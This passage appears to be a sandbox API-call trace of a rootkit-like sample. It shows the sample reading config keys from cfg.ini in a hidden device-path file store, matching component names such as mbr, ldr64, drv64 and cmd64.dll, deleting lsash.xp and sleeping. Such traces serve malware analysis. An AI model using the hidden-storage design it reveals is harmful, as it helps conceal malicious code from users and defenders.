[0125.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.391] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.391] IdePortDispatch () returned 0x103 [0125.391] KeWaitForMutexObject () returned 0x0 [0125.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.391] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.391] IdePortDispatch () returned 0x103 [0125.391] KeWaitForMutexObject () returned 0x0 [0125.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.391] KeLeaveCriticalRegion () [0125.391] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.391] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.392] KeEnterCriticalRegion () [0125.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] KeLeaveCriticalRegion () [0125.392] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.392] KeEnterCriticalRegion () [0125.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.392] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf75e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] KeLeaveCriticalRegion () [0125.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.392] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.392] KeEnterCriticalRegion () [0125.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] ExFreePoolWithTag (P=0xfffffa8003bf7520, Tag=0x0) [0125.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] KeLeaveCriticalRegion () [0125.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.392] ReleaseMutex (hMutex=0xf0) returned 1 [0125.392] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.392] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.392] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.392] KeEnterCriticalRegion () [0125.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.392] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.392] IdePortDispatch () returned 0x103 [0125.392] KeWaitForMutexObject () returned 0x0 [0125.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.392] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.392] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.392] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.392] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.392] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.393] KeLeaveCriticalRegion () [0125.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.393] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.393] KeEnterCriticalRegion () [0125.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.393] KeLeaveCriticalRegion () [0125.393] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.393] KeEnterCriticalRegion () [0125.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.393] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.393] IdePortDispatch () returned 0x103 [0125.393] KeWaitForMutexObject () returned 0x0 [0125.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.393] KeLeaveCriticalRegion () [0125.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.393] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.393] KeEnterCriticalRegion () [0125.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c45000 [0125.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.393] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.393] IdePortDispatch () returned 0x103 [0125.393] KeWaitForMutexObject () returned 0x0 [0125.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.394] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.394] IdePortDispatch () returned 0x103 [0125.394] KeWaitForMutexObject () returned 0x0 [0125.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.394] KeLeaveCriticalRegion () [0125.394] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.394] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.394] KeEnterCriticalRegion () [0125.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.394] KeLeaveCriticalRegion () [0125.394] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.394] KeEnterCriticalRegion () [0125.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.395] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] KeLeaveCriticalRegion () [0125.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.395] KeEnterCriticalRegion () [0125.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] KeLeaveCriticalRegion () [0125.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.395] ReleaseMutex (hMutex=0xf0) returned 1 [0125.395] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.395] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.395] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.395] KeEnterCriticalRegion () [0125.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.395] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.395] IdePortDispatch () returned 0x103 [0125.395] KeWaitForMutexObject () returned 0x0 [0125.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.395] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.395] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.395] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.395] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.395] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7d00 [0125.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] KeLeaveCriticalRegion () [0125.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.395] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.395] KeEnterCriticalRegion () [0125.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.395] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.396] KeLeaveCriticalRegion () [0125.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.396] KeEnterCriticalRegion () [0125.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.396] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.396] IdePortDispatch () returned 0x103 [0125.396] KeWaitForMutexObject () returned 0x0 [0125.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.396] KeLeaveCriticalRegion () [0125.396] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.396] KeEnterCriticalRegion () [0125.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c46000 [0125.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.396] IdePortDispatch () returned 0x103 [0125.396] KeWaitForMutexObject () returned 0x0 [0125.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.396] IdePortDispatch () returned 0x103 [0125.397] KeWaitForMutexObject () returned 0x0 [0125.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.397] KeLeaveCriticalRegion () [0125.397] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.397] KeEnterCriticalRegion () [0125.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.397] KeLeaveCriticalRegion () [0125.397] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.397] KeEnterCriticalRegion () [0125.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.397] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.397] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.397] KeLeaveCriticalRegion () [0125.397] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.397] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.397] KeEnterCriticalRegion () [0125.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.397] ExFreePoolWithTag (P=0xfffffa8003bf7d00, Tag=0x0) [0125.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.398] KeLeaveCriticalRegion () [0125.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.398] ReleaseMutex (hMutex=0xf0) returned 1 [0125.398] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.398] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.398] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.398] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.398] KeEnterCriticalRegion () [0125.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.398] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.398] IdePortDispatch () returned 0x103 [0125.398] KeWaitForMutexObject () returned 0x0 [0125.398] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.398] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.398] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.398] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.398] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.398] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.398] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.398] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.398] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.398] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.398] KeLeaveCriticalRegion () [0125.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.398] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.398] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.398] KeEnterCriticalRegion () [0125.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.399] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.399] IdePortDispatch () returned 0x103 [0125.399] KeWaitForMutexObject () returned 0x0 [0125.399] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.399] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.399] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.399] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.399] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.399] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.399] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.399] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.399] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.399] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.399] KeLeaveCriticalRegion () [0125.399] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.399] ReleaseMutex (hMutex=0x100) returned 1 [0125.399] Sleep (dwMilliseconds=0x2bf20) [0125.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6df1e570, dwHighDateTime=0x1d24fa4)) [0125.407] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.407] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.407] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.407] KeEnterCriticalRegion () [0125.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.407] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.407] IdePortDispatch () returned 0x103 [0125.407] KeWaitForMutexObject () returned 0x0 [0125.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.407] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.407] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.407] strncpy (in: 